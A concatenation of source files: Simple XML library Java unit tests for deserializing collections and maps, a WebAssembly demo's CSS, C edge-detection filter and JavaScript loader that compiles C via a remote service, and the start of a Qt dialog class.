import java.util.ArrayList;
import java.util.Iterator;
import java.util.Collection;
import java.util.List;
import java.util.SortedSet;
import java.util.Set;
import org.simpleframework.xml.Attribute;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.ElementList;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.core.InstantiationException;
import org.simpleframework.xml.core.Persister;
import junit.framework.TestCase;
import org.simpleframework.xml.ValidationTestCase;
public class CollectionTest extends ValidationTestCase {
private static final String LIST =
"<?xml version=\"1.0\"?>\n"+
"<test name='example'>\n"+
" <list>\n"+
" <entry id='1'>\n"+
" <text>one</text> \n\r"+
" </entry>\n\r"+
" <entry id='2'>\n"+
" <text>two</text> \n\r"+
" </entry>\n"+
" <entry id='3'>\n"+
" <text>three</text> \n\r"+
" </entry>\n"+
" </list>\n"+
"</test>";
private static final String ARRAY_LIST =
"<?xml version=\"1.0\"?>\n"+
"<test name='example'>\n"+
" <list class='java.util.ArrayList'>\n"+
" <entry id='1'>\n"+
" <text>one</text> \n\r"+
" </entry>\n\r"+
" <entry id='2'>\n"+
" <text>two</text> \n\r"+
" </entry>\n"+
" <entry id='3'>\n"+
" <text>three</text> \n\r"+
" </entry>\n"+
" </list>\n"+
"</test>";
private static final String HASH_SET =
"<?xml version=\"1.0\"?>\n"+
"<test name='example'>\n"+
" <list class='java.util.HashSet'>\n"+
" <entry id='1'>\n"+
" <text>one</text> \n\r"+
" </entry>\n\r"+
" <entry id='2'>\n"+
" <text>two</text> \n\r"+
" </entry>\n"+
" <entry id='3'>\n"+
" <text>three</text> \n\r"+
" </entry>\n"+
" </list>\n"+
"</test>";
private static final String TREE_SET =
"<?xml version=\"1.0\"?>\n"+
"<test name='example'>\n"+
" <list class='java.util.TreeSet'>\n"+
" <entry id='1'>\n"+
" <text>one</text> \n\r"+
" </entry>\n\r"+
" <entry id='2'>\n"+
" <text>two</text> \n\r"+
" </entry>\n"+
" <entry id='3'>\n"+
" <text>three</text> \n\r"+
" </entry>\n"+
" </list>\n"+
"</test>";
private static final String ABSTRACT_LIST =
"<?xml version=\"1.0\"?>\n"+
"<test name='example'>\n"+
" <list class='org.simpleframework.xml.core.CollectionTest$AbstractList'>\n"+
" <entry id='1'>\n"+
" <text>one</text> \n\r"+
" </entry>\n\r"+
" <entry id='2'>\n"+
" <text>two</text> \n\r"+
" </entry>\n"+
" <entry id='3'>\n"+
" <text>three</text> \n\r"+
" </entry>\n"+
" </list>\n"+
"</test>";
private static final String NOT_A_COLLECTION =
"<?xml version=\"1.0\"?>\n"+
"<test name='example'>\n"+
" <list class='java.util.Hashtable'>\n"+
" <entry id='1'>\n"+
" <text>one</text> \n\r"+
" </entry>\n\r"+
" <entry id='2'>\n"+
" <text>two</text> \n\r"+
" </entry>\n"+
" <entry id='3'>\n"+
" <text>three</text> \n\r"+
" </entry>\n"+
" </list>\n"+
"</test>";
private static final String MISSING_COLLECTION =
"<?xml version=\"1.0\"?>\n"+
"<test name='example'>\n"+
" <list class='example.MyCollection'>\n"+
" <entry id='1'>\n"+
" <text>one</text> \n\r"+
" </entry>\n\r"+
" <entry id='2'>\n"+
" <text>two</text> \n\r"+
" </entry>\n"+
" <entry id='3'>\n"+
" <text>three</text> \n\r"+
" </entry>\n"+
" </list>\n"+
"</test>";
private static final String EXTENDED_ENTRY_LIST =
"<?xml version=\"1.0\"?>\n"+
"<test name='example'>\n"+
" <list>\n"+
" <extended-entry id='1' class='org.simpleframework.xml.core.CollectionTest$ExtendedEntry'>\n"+
" <text>one</text> \n\r"+
" <description>this is an extended entry</description>\n\r"+
" </extended-entry>\n\r"+
" <extended-entry id='2' class='org.simpleframework.xml.core.CollectionTest$ExtendedEntry'>\n"+
" <text>two</text> \n\r"+
" <description>this is the second one</description>\n"+
" </extended-entry>\n"+
" <entry id='3'>\n"+
" <text>three</text> \n\r"+
" </entry>\n"+
" </list>\n"+
"</test>";
private static final String TYPE_FROM_FIELD_LIST =
"<?xml version=\"1.0\"?>\n"+
"<typeFromFieldList name='example'>\n"+
" <list>\n"+
" <entry id='1'>\n"+
" <text>one</text> \n\r"+
" </entry>\n\r"+
" <entry id='2'>\n"+
" <text>two</text> \n\r"+
" </entry>\n"+
" <entry id='3'>\n"+
" <text>three</text> \n\r"+
" </entry>\n"+
" </list>\n"+
"</typeFromFieldList>";
private static final String TYPE_FROM_METHOD_LIST =
"<?xml version=\"1.0\"?>\n"+
"<typeFromMethodList name='example'>\n"+
" <list>\n"+
" <entry id='1'>\n"+
" <text>one</text> \n\r"+
" </entry>\n\r"+
" <entry id='2'>\n"+
" <text>two</text> \n\r"+
" </entry>\n"+
" <entry id='3'>\n"+
" <text>three</text> \n\r"+
" </entry>\n"+
" </list>\n"+
"</typeFromMethodList>";
private static final String PRIMITIVE_LIST =
"<?xml version=\"1.0\"?>\n"+
"<primitiveCollection name='example'>\n"+
" <list>\n"+
" <text>one</text> \n\r"+
" <text>two</text> \n\r"+
" <text>three</text> \n\r"+
" </list>\n"+
"</primitiveCollection>";
private static final String COMPOSITE_LIST =
"<?xml version=\"1.0\"?>\n"+
"<compositeCollection name='example'>\n"+
" <list>\n"+
" <entry id='1'>\n"+
" <text>one</text> \n\r"+
" </entry>\n\r"+
" <entry id='2'>\n"+
" <text>two</text> \n\r"+
" </entry>\n\r"+
" <entry id='3'>\n"+
" <text>three</text> \n\r"+
" </entry>\n\r"+
" </list>\n"+
"</compositeCollection>";
private static final String PRIMITIVE_DEFAULT_LIST =
"<?xml version=\"1.0\"?>\n"+
"<primitiveDefaultCollection name='example'>\n"+
" <list>\n"+
" <string>one</string> \n\r"+
" <string>two</string> \n\r"+
" <string>three</string> \n\r"+
" </list>\n"+
"</primitiveDefaultCollection>";
@Root(name="entry")
private static class Entry implements Comparable {
@Attribute(name="id")
private int id;
@Element(name="text")
private String text;
public int compareTo(Object entry) {
return id - ((Entry)entry).id;
}
}
@Root(name="extended-entry")
private static class ExtendedEntry extends Entry {
@Element(name="description")
private String description;
}
@Root(name="test")
private static class EntrySet implements Iterable<Entry> {
@ElementList(name="list", type=Entry.class)
private Set<Entry> list;
@Attribute(name="name")
private String name;
public Iterator<Entry> iterator() {
return list.iterator();
}
}
@Root(name="test")
private static class EntrySortedSet implements Iterable<Entry> {
@ElementList(name="list", type=Entry.class)
private SortedSet<Entry> list;
@Attribute(name="name")
private String name;
public Iterator<Entry> iterator() {
return list.iterator();
}
}
@Root(name="test")
private static class EntryList implements Iterable<Entry> {
@ElementList(name="list", type=Entry.class)
private List<Entry> list;
@Attribute(name="name")
private String name;
public Iterator<Entry> iterator() {
return list.iterator();
}
}
@Root(name="test")
public static class InvalidList {
@ElementList(name="list", type=Entry.class)
private String list;
@Attribute(name="name")
private String name;
}
@Root(name="test")
public static class UnknownCollectionList implements Iterable<Entry> {
@ElementList(name="list", type=Entry.class)
private UnknownCollection<Entry> list;
@Attribute(name="name")
private String name;
public Iterator<Entry> iterator() {
return list.iterator();
}
}
@Root
private static class TypeFromFieldList implements Iterable<Entry> {
@ElementList
private List<Entry> list;
@Attribute
private String name;
public Iterator<Entry> iterator() {
return list.iterator();
}
}
@Root
private static class TypeFromMethodList implements Iterable<Entry> {
private List<Entry> list;
@Attribute
private String name;
@ElementList
public List<Entry> getList() {
return list;
}
@ElementList
public void setList(List<Entry> list) {
this.list = list;
}
public Iterator<Entry> iterator() {
return list.iterator();
}
}
@Root
private static class PrimitiveCollection implements Iterable<String> {
@ElementList(name="list", type=String.class, entry="text")
private List<String> list;
@Attribute(name="name")
private String name;
public Iterator<String> iterator() {
return list.iterator();
}
}
@Root
private static class CompositeCollection implements Iterable<Entry> {
@ElementList(name="list", entry="text")
private List<Entry> list;
@Attribute(name="name")
private String name;
public Iterator<Entry> iterator() {
return list.iterator();
}
}
@Root
private static class PrimitiveDefaultCollection implements Iterable<String> {
@ElementList
private List<String> list;
@Attribute
private String name;
public Iterator<String> iterator() {
return list.iterator();
}
}
private abstract class AbstractList<T> extends ArrayList<T> {
public AbstractList() {
super();
}
}
private abstract class UnknownCollection<T> implements Collection<T> {
public UnknownCollection() {
super();
}
}
private Persister serializer;
public void setUp() {
serializer = new Persister();
}
public void testSet() throws Exception {
EntrySet set = serializer.read(EntrySet.class, LIST);
int one = 0;
int two = 0;
int three = 0;
for(Entry entry : set) {
if(entry.id == 1 && entry.text.equals("one")) {
one++;
}
if(entry.id == 2 && entry.text.equals("two")) {
two++;
}
if(entry.id == 3 && entry.text.equals("three")) {
three++;
}
}
assertEquals(one, 1);
assertEquals(two, 1);
assertEquals(three, 1);
}
public void testSortedSet() throws Exception {
EntrySortedSet set = serializer.read(EntrySortedSet.class, LIST);
int one = 0;
int two = 0;
int three = 0;
for(Entry entry : set) {
if(entry.id == 1 && entry.text.equals("one")) {
one++;
}
if(entry.id == 2 && entry.text.equals("two")) {
two++;
}
if(entry.id == 3 && entry.text.equals("three")) {
three++;
}
}
assertEquals(one, 1);
assertEquals(two, 1);
assertEquals(three, 1);
validate(set, serializer);
}
public void testList() throws Exception {
EntryList set = serializer.read(EntryList.class, LIST);
int one = 0;
int two = 0;
int three = 0;
for(Entry entry : set) {
if(entry.id == 1 && entry.text.equals("one")) {
one++;
}
if(entry.id == 2 && entry.text.equals("two")) {
two++;
}
if(entry.id == 3 && entry.text.equals("three")) {
three++;
}
}
assertEquals(one, 1);
assertEquals(two, 1);
assertEquals(three, 1);
validate(set, serializer);
}
public void testHashSet() throws Exception {
EntrySet set = serializer.read(EntrySet.class, HASH_SET);
int one = 0;
int two = 0;
int three = 0;
for(Entry entry : set) {
if(entry.id == 1 && entry.text.equals("one")) {
one++;
}
if(entry.id == 2 && entry.text.equals("two")) {
two++;
}
if(entry.id == 3 && entry.text.equals("three")) {
three++;
}
}
assertEquals(one, 1);
assertEquals(two, 1);
assertEquals(three, 1);
validate(set, serializer);
}
public void testTreeSet() throws Exception {
EntrySortedSet set = serializer.read(EntrySortedSet.class, TREE_SET);
int one = 0;
int two = 0;
int three = 0;
for(Entry entry : set) {
if(entry.id == 1 && entry.text.equals("one")) {
one++;
}
if(entry.id == 2 && entry.text.equals("two")) {
two++;
}
if(entry.id == 3 && entry.text.equals("three")) {
three++;
}
}
assertEquals(one, 1);
assertEquals(two, 1);
assertEquals(three, 1);
validate(set, serializer);
}
public void testArrayList() throws Exception {
EntryList list = serializer.read(EntryList.class, ARRAY_LIST);
int one = 0;
int two = 0;
int three = 0;
for(Entry entry : list) {
if(entry.id == 1 && entry.text.equals("one")) {
one++;
}
if(entry.id == 2 && entry.text.equals("two")) {
two++;
}
if(entry.id == 3 && entry.text.equals("three")) {
three++;
}
}
assertEquals(one, 1);
assertEquals(two, 1);
assertEquals(three, 1);
validate(list, serializer);
}
public void testSortedSetToSet() throws Exception {
EntrySet set = serializer.read(EntrySet.class, TREE_SET);
int one = 0;
int two = 0;
int three = 0;
for(Entry entry : set) {
if(entry.id == 1 && entry.text.equals("one")) {
one++;
}
if(entry.id == 2 && entry.text.equals("two")) {
two++;
}
if(entry.id == 3 && entry.text.equals("three")) {
three++;
}
}
assertEquals(one, 1);
assertEquals(two, 1);
assertEquals(three, 1);
}
public void testExtendedEntry() throws Exception {
EntrySet set = serializer.read(EntrySet.class, EXTENDED_ENTRY_LIST);
int one = 0;
int two = 0;
int three = 0;
for(Entry entry : set) {
if(entry.id == 1 && entry.text.equals("one")) {
one++;
}
if(entry.id == 2 && entry.text.equals("two")) {
two++;
}
if(entry.id == 3 && entry.text.equals("three")) {
three++;
}
}
assertEquals(one, 1);
assertEquals(two, 1);
assertEquals(three, 1);
StringWriter out = new StringWriter();
serializer.write(set, out);
serializer.write(set, System.err);
EntrySet other = serializer.read(EntrySet.class, out.toString());
for(Entry entry : set) {
if(entry.id == 1 && entry.text.equals("one")) {
one++;
}
if(entry.id == 2 && entry.text.equals("two")) {
two++;
}
if(entry.id == 3 && entry.text.equals("three")) {
three++;
}
}
assertEquals(one, 2);
assertEquals(two, 2);
assertEquals(three, 2);
serializer.write(other, System.err);
}
public void testTypeFromFieldList() throws Exception {
TypeFromFieldList list = serializer.read(TypeFromFieldList.class, TYPE_FROM_FIELD_LIST);
int one = 0;
int two = 0;
int three = 0;
for(Entry entry : list) {
if(entry.id == 1 && entry.text.equals("one")) {
one++;
}
if(entry.id == 2 && entry.text.equals("two")) {
two++;
}
if(entry.id == 3 && entry.text.equals("three")) {
three++;
}
}
assertEquals(one, 1);
assertEquals(two, 1);
assertEquals(three, 1);
validate(list, serializer);
}
public void testTypeFromMethodList() throws Exception {
TypeFromMethodList list = serializer.read(TypeFromMethodList.class, TYPE_FROM_METHOD_LIST);
int one = 0;
int two = 0;
int three = 0;
for(Entry entry : list) {
if(entry.id == 1 && entry.text.equals("one")) {
one++;
}
if(entry.id == 2 && entry.text.equals("two")) {
two++;
}
if(entry.id == 3 && entry.text.equals("three")) {
three++;
}
}
assertEquals(one, 1);
assertEquals(two, 1);
assertEquals(three, 1);
validate(list, serializer);
}
public void testPrimitiveCollection() throws Exception {
PrimitiveCollection list = serializer.read(PrimitiveCollection.class, PRIMITIVE_LIST);
int one = 0;
int two = 0;
int three = 0;
for(String entry : list) {
if(entry.equals("one")) {
one++;
}
if(entry.equals("two")) {
two++;
}
if(entry.equals("three")) {
three++;
}
}
assertEquals(one, 1);
assertEquals(two, 1);
assertEquals(three, 1);
validate(list, serializer);
}
// XXX This test needs to inline the entry= attribute so that
// XXX we can use it to name the inserted entries
public void testCompositeCollection() throws Exception {
CompositeCollection list = serializer.read(CompositeCollection.class, COMPOSITE_LIST);
int one = 0;
int two = 0;
int three = 0;
for(Entry entry : list) {
if(entry.id == 1 && entry.text.equals("one")) {
one++;
}
if(entry.id == 2 && entry.text.equals("two")) {
two++;
}
if(entry.id == 3 && entry.text.equals("three")) {
three++;
}
}
assertEquals(one, 1);
assertEquals(two, 1);
assertEquals(three, 1);
validate(list, serializer);
}
public void testPrimitiveDefaultCollection() throws Exception {
PrimitiveDefaultCollection list = serializer.read(PrimitiveDefaultCollection.class, PRIMITIVE_DEFAULT_LIST);
int one = 0;
int two = 0;
int three = 0;
for(String entry : list) {
if(entry.equals("one")) {
one++;
}
if(entry.equals("two")) {
two++;
}
if(entry.equals("three")) {
three++;
}
}
assertEquals(one, 1);
assertEquals(two, 1);
assertEquals(three, 1);
validate(list, serializer);
}
public void testSetToSortedSet() throws Exception {
boolean success = false;
try {
EntrySortedSet set = serializer.read(EntrySortedSet.class, HASH_SET);
} catch(InstantiationException e) {
e.printStackTrace();
success = true;
}
assertTrue(success);
}
public void testListToSet() throws Exception {
boolean success = false;
try {
EntrySet set = serializer.read(EntrySet.class, ARRAY_LIST);
} catch(InstantiationException e) {
e.printStackTrace();
success = true;
}
assertTrue(success);
}
public void testInvalidList() throws Exception {
boolean success = false;
try {
InvalidList set = serializer.read(InvalidList.class, LIST);
} catch(InstantiationException e) {
e.printStackTrace();
success = true;
}
assertTrue(success);
}
public void testUnknownCollectionList() throws Exception {
boolean success = false;
try {
UnknownCollectionList set = serializer.read(UnknownCollectionList.class, LIST);
} catch(InstantiationException e) {
e.printStackTrace();
success = true;
}
assertTrue(success);
}
public void testAbstractList() throws Exception {
boolean success = false;
try {
EntryList set = serializer.read(EntryList.class, ABSTRACT_LIST);
} catch(InstantiationException e) {
e.printStackTrace();
success = true;
}
assertTrue(success);
}
public void testNotACollection() throws Exception {
boolean success = false;
try {
EntryList set = serializer.read(EntryList.class, NOT_A_COLLECTION);
} catch(InstantiationException e) {
e.printStackTrace();
success = true;
}
assertTrue(success);
}
public void testMissingCollection() throws Exception {
boolean success = false;
try {
EntrySet set = serializer.read(EntrySet.class, MISSING_COLLECTION);
} catch(ClassNotFoundException e) {
e.printStackTrace();
success = true;
}
assertTrue(success);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/CompressionInputStream.java<|end_filename|>
package org.simpleframework.xml.core;
import java.io.IOException;
import java.io.InputStream;
import java.util.zip.Inflater;
import java.util.zip.InflaterInputStream;
public class CompressionInputStream extends InputStream {
private InflaterInputStream decompressor;
private Inflater inflater;
private InputStream source;
private Compression compression;
private byte[] temp;
public CompressionInputStream(InputStream source) {
this.inflater = new Inflater();
this.decompressor = new InflaterInputStream(source, inflater);
this.temp = new byte[1];
this.source = source;
}
@Override
public int read() throws IOException {
int count = read(temp);
if(count == -1) {
return -1;
}
return temp[0] & 0xff;
}
@Override
public int read(byte[] array, int off, int len) throws IOException {
if(compression == null) {
int code = source.read();
if(code == -1) {
return -1;
}
compression = Compression.resolveCompression(code);
}
if(compression.isCompression()) {
return decompressor.read(array, off, len);
}
return source.read(array, off, len);
}
@Override
public void close() throws IOException {
if(compression != null) {
if(compression.isCompression()) {
decompressor.close();
} else {
source.close();
}
} else {
source.close();
}
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/strategy/MapCycleTest.java<|end_filename|>
package org.simpleframework.xml.strategy;
import java.util.HashMap;
import java.util.Map;
import org.simpleframework.xml.Element;
import org.simpleframework.xml.ElementMap;
import org.simpleframework.xml.Root;
import org.simpleframework.xml.Serializer;
import org.simpleframework.xml.ValidationTestCase;
import org.simpleframework.xml.core.Persister;
import org.simpleframework.xml.strategy.CycleStrategy;
import org.simpleframework.xml.strategy.Strategy;
public class MapCycleTest extends ValidationTestCase {
private static final String ENTRY_MAP =
"<entryMap>\n"+
" <map id='map'>\n"+
" <entry key='a'>" +
" <mapEntry id='a'>\n" +
" <name>a</name>\n"+
" <value>example 1</value>\n"+
" </mapEntry>" +
" </entry>" +
" <entry key='b'>" +
" <mapEntry id='b'>\n" +
" <name>b</name>\n"+
" <value>example 2</value>\n"+
" </mapEntry>" +
" </entry>" +
" <entry key='c'>" +
" <mapEntry reference='a'/>\n" +
" </entry>" +
" <entry key='d'>" +
" <mapEntry reference='a'/>\n" +
" </entry>\n" +
" </map>\n"+
"</entryMap>";
private static final String COMPLEX_MAP =
"<complexMap>\n"+
" <map>\n"+
" <entry>" +
" <compositeKey id='1'>\n" +
" <name>name 1</name>\n" +
" <address>address 1</address>\n" +
" </compositeKey>\n" +
" <mapEntry>\n" +
" <name>a</name>\n"+
" <value>example 1</value>\n"+
" </mapEntry>" +
" </entry>" +
" <entry>" +
" <compositeKey reference='1'/>\n" +
" <mapEntry id='2'>\n" +
" <name>b</name>\n"+
" <value>example 2</value>\n"+
" </mapEntry>" +
" </entry>" +
" <entry>" +
" <compositeKey>\n" +
" <name>name 3</name>\n" +
" <address>address 3</address>\n" +
" </compositeKey>\n" +
" <mapEntry reference='2'/>\n" +
" </entry>" +
" <entry>" +
" <compositeKey>\n" +
" <name>name 4</name>\n" +
" <address>address 4</address>\n" +
" </compositeKey>\n" +
" <mapEntry>\n" +
" <name>d</name>\n"+
" <value>example 4</value>\n"+
" </mapEntry>" +
" </entry>" +
" </map>\n"+
"</complexMap>";
private static final String PRIMITIVE_MAP =
"<primitiveMap>\n"+
" <map>\n"+
" <entry>\n" +
" <string>one</string>\n" + // one
" <double id='one'>1.0</double>\n" +
" </entry>\n"+
" <entry>" +
" <string>two</string>\n" + // two
" <double reference='one'/>\n" +
" </entry>\n"+
" <entry>" +
" <string id='three'>three</string>\n" + // three
" <double>3.0</double>\n" +
" </entry>\n"+
" <entry>" +
" <string reference='three'/>\n" + // three
" <double>4.0</double>\n" +
" </entry>\n"+
" </map>\n"+
"</primitiveMap>";
@Root
private static class EntryMap {
@ElementMap(key="key", attribute=true)
private Map<String, MapEntry> map;
public String getValue(String name) {
return map.get(name).value;
}
public MapEntry getEntry(String name) {
return map.get(name);
}
}
@Root
private static class MapEntry {
@Element
private String name;
@Element
private String value;
}
@Root
private static class StringMap {
@ElementMap(key="letter", attribute=true)
private Map<String, String> map;
public String getValue(String name) {
return map.get(name);
}
}
@Root
private static class ComplexMap {
@ElementMap
private Map<CompositeKey, MapEntry> map;
public String getValue(CompositeKey key) {
return map.get(key).value;
}
}
@Root
private static class CompositeKey {
@Element
private String name;
@Element
private String address;
public CompositeKey() {
super();
}
public CompositeKey(String name, String address) {
this.name = name;
this.address = address;
}
public int hashCode() {
return name.hashCode() + address.hashCode();
}
public boolean equals(Object item) {
if(item instanceof CompositeKey) {
CompositeKey other = (CompositeKey)item;
return other.name.equals(name) && other.address.equals(address);
}
return false;
}
}
@Root
private static class BadMap {
@ElementMap
private Map<CompositeKey, String> map;
public BadMap() {
this.map = new HashMap<CompositeKey, String>();
}
public String getValue(CompositeKey key) {
return map.get(key);
}
public void setValue(CompositeKey key, String value) {
map.put(key, value);
}
}
@Root
private static class PrimitiveMap {
@ElementMap
private Map<String, Double> map;
public double getValue(String name) {
return map.get(name);
}
}
public void testEntryMap() throws Exception {
Strategy strategy = new CycleStrategy();
Serializer serializer = new Persister(strategy);
EntryMap example = serializer.read(EntryMap.class, ENTRY_MAP);
assertEquals("example 1", example.getValue("a"));
assertEquals("example 2", example.getValue("b"));
assertEquals("example 1", example.getValue("c"));
assertEquals("example 1", example.getValue("d"));
MapEntry a = example.getEntry("a");
MapEntry b = example.getEntry("b");
MapEntry c = example.getEntry("c");
MapEntry d = example.getEntry("d");
assertTrue(a == c);
assertTrue(c == d);
assertFalse(a == b);
validate(example, serializer);
}
public void testComplexMap() throws Exception {
Strategy strategy = new CycleStrategy();
Serializer serializer = new Persister(strategy);
ComplexMap example = serializer.read(ComplexMap.class, COMPLEX_MAP);
assertEquals("example 2", example.getValue(new CompositeKey("name 1", "address 1")));
assertEquals("example 2", example.getValue(new CompositeKey("name 3", "address 3")));
assertEquals("example 4", example.getValue(new CompositeKey("name 4", "address 4")));
validate(example, serializer);
}
public void testPrimitiveMap() throws Exception {
Strategy strategy = new CycleStrategy();
Serializer serializer = new Persister(strategy);
PrimitiveMap example = serializer.read(PrimitiveMap.class, PRIMITIVE_MAP);
assertEquals(1.0, example.getValue("one"));
assertEquals(1.0, example.getValue("two"));
assertEquals(4.0, example.getValue("three"));
validate(example, serializer);
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/stream/NodeBuilderTest.java<|end_filename|>
package org.simpleframework.xml.stream;
import java.io.Reader;
import java.io.StringReader;
import junit.framework.TestCase;
public class NodeBuilderTest extends TestCase {
private static final String SOURCE =
"<?xml version='1.0'?>\n" +
"<root version='2.1' id='234'>\n" +
" <list type='sorted'>\n" +
" <entry name='1'>\n" +
" <value>value 1</value>\n" +
" </entry>\n" +
" <entry name='2'>\n" +
" <value>value 2</value>\n" +
" </entry>\n" +
" <entry name='3'>\n" +
" <value>value 3</value>\n" +
" </entry>\n" +
" </list>\n" +
" <object name='name'>\n" +
" <integer>123</integer>\n" +
" <object name='key'>\n" +
" <integer>12345</integer>\n" +
" </object>\n" +
" </object>\n" +
"</root>";
public void testNodeAdapter() throws Exception {
Reader reader = new StringReader(SOURCE);
InputNode event = NodeBuilder.read(reader);
assertTrue(event.isRoot());
assertEquals("root", event.getName());
assertEquals("2.1", event.getAttribute("version").getValue());
assertEquals("234", event.getAttribute("id").getValue());
NodeMap attrList = event.getAttributes();
assertEquals("2.1", attrList.get("version").getValue());
assertEquals("234", attrList.get("id").getValue());
InputNode list = event.getNext();
assertFalse(list.isRoot());
assertEquals("list", list.getName());
assertEquals("sorted", list.getAttribute("type").getValue());
InputNode entry = list.getNext();
InputNode value = list.getNext(); // same as entry.getNext()
assertEquals("entry", entry.getName());
assertEquals("1", entry.getAttribute("name").getValue());
assertEquals("value", value.getName());
assertEquals("value 1", value.getValue());
assertEquals(null, value.getAttribute("name"));
assertEquals(null, entry.getNext());
assertEquals(null, value.getNext());
entry = list.getNext();
value = entry.getNext(); // same as list.getNext()
assertEquals("entry", entry.getName());
assertEquals("2", entry.getAttribute("name").getValue());
assertEquals("value", value.getName());
assertEquals("value 2", value.getValue());
assertEquals(null, value.getAttribute("name"));
assertEquals(null, entry.getNext());
entry = list.getNext();
value = entry.getNext(); // same as list.getNext()
assertEquals("entry", entry.getName());
assertEquals("3", entry.getAttribute("name").getValue());
assertEquals("value", value.getName());
assertEquals("value 3", value.getValue());
assertEquals(null, value.getAttribute("name"));
assertEquals(null, entry.getNext());
assertEquals(null, list.getNext());
InputNode object = event.getNext();
InputNode integer = event.getNext(); // same as object.getNext()
assertEquals("object", object.getName());
assertEquals("name", object.getAttribute("name").getValue());
assertEquals("integer", integer.getName());
assertEquals("123", integer.getValue());
object = object.getNext(); // same as event.getNext()
integer = object.getNext();
assertEquals("object", object.getName());
assertEquals("key", object.getAttribute("name").getValue());
assertEquals("integer", integer.getName());
assertEquals("12345", integer.getValue());
}
}
<|start_filename|>src/test/java/org/simpleframework/xml/core/MissingArrayLengthTest.java<|end_filename|>
package org.simpleframework.xml.core;
import junit.framework.TestCase;
import org.simpleframework.xml.ElementArray;
import org.simpleframework.xml.Root;
public class MissingArrayLengthTest extends TestCase {
private static final String SOURCE =
"<missingArrayLengthExample>"+
" <array>"+
" <item>one</item>" +
" <item>two</item>" +
" <item>three</item>" +
" </array>"+
"</missingArrayLengthExample>";
@Root
private static class MissingArrayLengthExample {
@ElementArray(entry="item")
private String[] array;
}
public void testMissingArrayLength() throws Exception {
Persister persister = new Persister();
boolean exception = false;
try {
MissingArrayLengthExample value = persister.read(MissingArrayLengthExample.class, SOURCE);
} catch(ElementException e) {
exception = true;
}
assertTrue("Exception not thrown", exception);
}
}
| wolfch/simple-xml |
<|start_filename|>demo/css/app.css<|end_filename|>
html {
font-size: 10px;
line-height: 1.5;
color: #333;
}
body {
overflow: hidden;
font-family: "Gotham Rounded", "Proxima Nova", sans-serif;
font-weight: 400;
color: #fff;
letter-spacing: .1em;
text-transform: uppercase;
-webkit-font-smoothing: antialiased;
}
canvas {
position: fixed;
top: 0;
right: 0;
bottom: 0;
left: 0;
overflow: hidden;
z-index: -100;
}
canvas {
margin: auto;
width: 105%;
height: 140%;
}
#overlay {
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
background: radial-gradient(transparent, rgba(0, 0, 0, .5));
}
#bigslode {
position: absolute;
left: 50px;
top: 50%;
margin-top: -25px;
z-index: 2100;
color: #fff;
text-decoration: none;
transform: scale(1);
transition: all .35s;
}
#logo {
position: absolute;
top: 50px;
left: 50px;
z-index: 2100;
font-weight: 700;
font-size: 18px;
margin: 0;
letter-spacing: .125em;
transition: all .4s;
transition-delay: .1s;
line-height: 2em;
}
<|start_filename|>demo/c/filter.c<|end_filename|>
WASM(
640 * 480 * 4 * 6,
void debug(int msg);
)
const int outline_kernel[10] = {
-1, -1, -1,
-1, 8, -1,
-1, -1, -1,
1
};
unsigned char clamp(double value)
{
return (value < 0) ? 0 : (value > 255) ? 255 : (unsigned char)(value);
}
void outline_c(unsigned char* buffer_in, unsigned char* buffer_out, unsigned int width, unsigned int height, double mI, double tresh)
{
int sum = 0, index = 0, kernelIndex = 0, edgeSum = 0;
mI /= 255;
for (int y = 0; y < (int)height; ++y)
{
for (int x = 0; x < (int)width; ++x)
{
index = y * width + x;
sum =
((double) buffer_in[index * 4] * 0.30) +
((double) buffer_in[index * 4 + 1] * 0.59) +
((double) buffer_in[index * 4 + 2] * 0.11);
kernelIndex = 0;
edgeSum = 0;
for (int i = -1; i <= 1; ++i)
{
for (int k = -1; k <= 1; ++k)
{
int posX = x + k;
int posY = y + i;
if (posX >= 0 && posX < width && posY >= 0 && posY < height)
{
int index = posY * width + posX;
edgeSum += (int)buffer_in[index * 4] * (int)outline_kernel[kernelIndex];
}
kernelIndex += 1;
}
}
unsigned char brn = clamp( sum * mI);
buffer_out[index * 4 + 0] = buffer_out[index * 4 + 1] = (clamp(edgeSum * mI) > tresh && x) ? 255 : brn;
buffer_out[index * 4 + 2] = brn;
buffer_out[index * 4 + 3] = 255;
}
}
}
<|start_filename|>dist/wu.js<|end_filename|>
/**
* @author github.com/turbo
* @param {string} file - Path to source file or source text, if ...
* @param {*} dynamic - ... this is true
* @param {*} sharedEnv - Exported JS closures
*/
async function compileWASM(file, dynamic = false, sharedEnv = {}) {
if (!dynamic) {
sourceFile = await fetch(file);
sourceText = await sourceFile.text();
} else sourceText = file;
sourceText = '#define WASM(m, ...) unsigned char __wasmm[m]={0};__VA_ARGS__\n\n' + sourceText;
const compileReq = await fetch('https://wasup.turbo.run', {
method: "POST",
body: JSON.stringify({src: sourceText})
}),
wasmFile = await compileReq.arrayBuffer();
try {
const compiledModule = await WebAssembly.compile(wasmFile),
wasmModule = await WebAssembly.instantiate(compiledModule, { env: sharedEnv });
return wasmModule.exports;
} catch (e) {
console.log('Error compiling!', e);
errObj = JSON.parse(new TextDecoder("utf-8").decode(new Uint8Array((wasmFile))));
throw '\nERROR in ' + file + ' (' + errObj.error.code + '):\n' + errObj.error.message;
}
} | turbo/wasup |
<|start_filename|>src/qt/modalview.cpp<|end_filename|>
// Copyright (c) 2015 <NAME> / Shift Devices AG
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include "modalview.h"
#include <QMessageBox>
#include "dbb_gui.h"
#include "dbb_util.h"
ModalView::ModalView(QWidget* parent) : QWidget(parent), ui(new Ui::ModalView), txPointer(0)
{
ui->setupUi(this);
connect(this->ui->setDeviceNameOnly, SIGNAL(returnPressed()), this->ui->setDeviceSubmit, SIGNAL(clicked()));
connect(this->ui->setDeviceName, SIGNAL(returnPressed()), this->ui->setPasswordNew, SLOT(setFocus()));
connect(this->ui->setPasswordOld, SIGNAL(returnPressed()), this->ui->setPasswordNew, SLOT(setFocus()));
connect(this->ui->setPasswordNew, SIGNAL(returnPressed()), this->ui->setPasswordRepeat, SLOT(setFocus()));
connect(this->ui->setPasswordRepeat, SIGNAL(returnPressed()), this->ui->setDeviceSubmit, SIGNAL(clicked()));
connect(this->ui->setDeviceNameOnly, SIGNAL(textChanged(const QString&)), this, SLOT(inputCheck(const QString&)));
